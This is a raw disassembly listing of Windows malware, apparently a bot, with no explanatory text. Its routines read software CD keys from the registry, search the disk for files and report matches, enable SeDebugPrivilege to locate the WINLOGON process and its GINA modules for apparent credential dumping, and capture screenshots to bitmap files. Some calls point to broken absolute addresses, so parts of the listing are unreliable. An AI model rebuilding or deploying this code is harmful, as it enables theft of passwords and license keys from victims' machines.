mov [ebp+var_8], eax call dword_43F670 push 0Ch push edi mov [ebp+var_C], eax call dword_43F670 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43F670 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43F6B4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43F6AC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43F544 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43F6B0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43F598 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 2640000h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 2630000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 2630000h nop cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2630000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2630000h push [ebp+arg_0] nop call near ptr 2621906h push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43F5CC push [ebp+var_4] call dword_43F530 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43F530 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43F530 push [ebp+var_4] call dword_43F530 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43F608 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43F608 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43F608 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43F6C4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43F6C4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43F6C4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43F608 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43F6C4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43F718 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_43E100 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43F5C0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43F608 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43F6C4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43F608 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43F6C4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43F608 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43F6C4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43F608 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43F6C4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43F608 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43F608 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43F6C4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43F608 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43F6C4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43F608 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43F6C4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43F608 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43F6C4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43F608 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43F6C4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43F608 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43F6C4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43F718 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+5889p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43F6D8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43F574 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172AE lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172AE add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172AE push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43F644 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417076 pop ecx pop ecx push ebx call near ptr 25F0320h nop pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26A0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] call near ptr 2680508h nop push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi nop call near ptr 26A0000h test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi nop call near ptr 2680508h mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5235o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511D pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26E07FDh mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43F314, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43F308, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43F518, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43F310, eax call esi mov dword_43F30C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_43E308 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43EB08 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43F520 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43F520, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172AE pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511D pop ecx pop ecx push [ebp+var_8] call near ptr 26D065Eh nop pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172AE pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417076 pop ecx pop ecx push esi call near ptr 25F0320h nop pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43F314 push ebp push 0 call esi push eax nop call near ptr 26F0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43F314 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43F308 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43F518 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43F310 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax nop call near ptr 26F0000h mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43F310 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2710513h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 2710000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, 